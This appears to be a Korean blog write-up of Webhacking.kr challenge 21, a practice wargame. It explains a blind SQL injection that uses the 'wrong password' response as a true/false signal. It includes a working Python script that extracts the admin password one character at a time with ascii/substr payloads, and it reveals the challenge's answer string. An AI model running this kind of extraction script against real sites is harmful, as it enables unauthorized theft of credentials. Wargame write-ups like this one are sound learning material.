Hacking/Webhacking.kr

Webhacking.kr - 21

ursobad 2021. 5. 28. 12:28

이름부터 블라인드 인젝션이다

pw에 아무값이나 막 넣어보면 1'or'1을 넣었을때는 "Result : wrong password"가 나오고 아무값이나 넣었을때는 "Result : login fail"가 나오는것을 알 수 있다. 그러면 질의문이 참일때만 wroing password가 나오므로 이걸 통하여 블라인드 인젝션을 할 수 있을 것 같다.

 

mysql에서 ascii함수는 문자열을 아스키 코드로 바꾸어 주고 substr(a,b,c)는 a라는 문자열에서 b번째부터 c만큼의 문자열을 뽑는다는 뜻이다.

이를 이용하면 코드를 짤 수 있다.

import requests

url = "https://webhacking.kr/challenge/bonus-1/index.php"
cookie = {'PHPSESSID': '3mk3gag6h5vebne9qfp65k3qiu'}
flag = ""
for i in range(1,100):
    for j in range(65,128):
        a = f"?id=admin&pw=0'or ascii(substr(pw,{i},1))={j}%23"
        b = requests.get(url + a, cookies=cookie)
        # print(url+a)
        if "wrong password" in b.text:
            flag+=chr(j)
            break

    print(flag)

#을 %23으로 인코딩해야되는지 몰라서 하루 날렸다..

다 뽑아보면 ghere_is_no_rest_for_the_white_angel이 문자열이 나오는데 이걸 인증하면 login fail이 뜬다

혹시 몰라서 g를 t로 바꾸고 인증했더니 풀렸다.